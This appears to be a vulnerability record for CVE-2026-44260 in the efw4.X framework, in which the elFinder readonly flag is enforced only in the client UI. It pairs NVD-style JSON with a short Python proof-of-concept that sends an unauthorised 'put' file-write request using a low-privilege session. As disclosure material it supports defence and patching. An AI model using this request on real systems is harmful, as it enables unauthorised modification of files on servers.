CVE-2026-44260

import requests # PoC for CVE-2026-44260: Bypassing readonly flag in efw4.X # This script demonstrates how an attacker can write files even when readonly=true. target_url = "http://vulnerable-host/efw/connector" session_cookie = "JSESSIONID=ATTACKER_SESSION_ID" # Low-privilege session # The 'put' command is used to write content to a file. # Normally this would be blocked by the UI, but the API accepts it. payload = { "cmd": "put", "target": "l1_Lw", # Target hash (often encodes path like /) "content": "CVE-2026-44260 Exploit Test Content" } headers = { "Cookie": session_cookie, "User-Agent": "PoC-Client/1.0" } print("[*] Attempting to write file bypassing readonly protection...") response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200 and response.json().get('added'): print("[+] Exploit successful! File written despite readonly mode.") else: print("[-] Exploit failed or patched.")

{"cve": {"id": "CVE-2026-44260", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:36.417", "lastModified": "2026-05-12T22:16:36.417", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the <efw:elFinder> JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling buttons) and response metadata (write: 0, locked: 1). An attacker who sends requests directly (bypassing the UI) can perform all file operations despite readonly=true. This vulnerability is fixed in 4.08.010."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/efwGrp/efw4.X/security/advisories/GHSA-5454-qhrf-vcvh", "source": "[email protected]"}]}}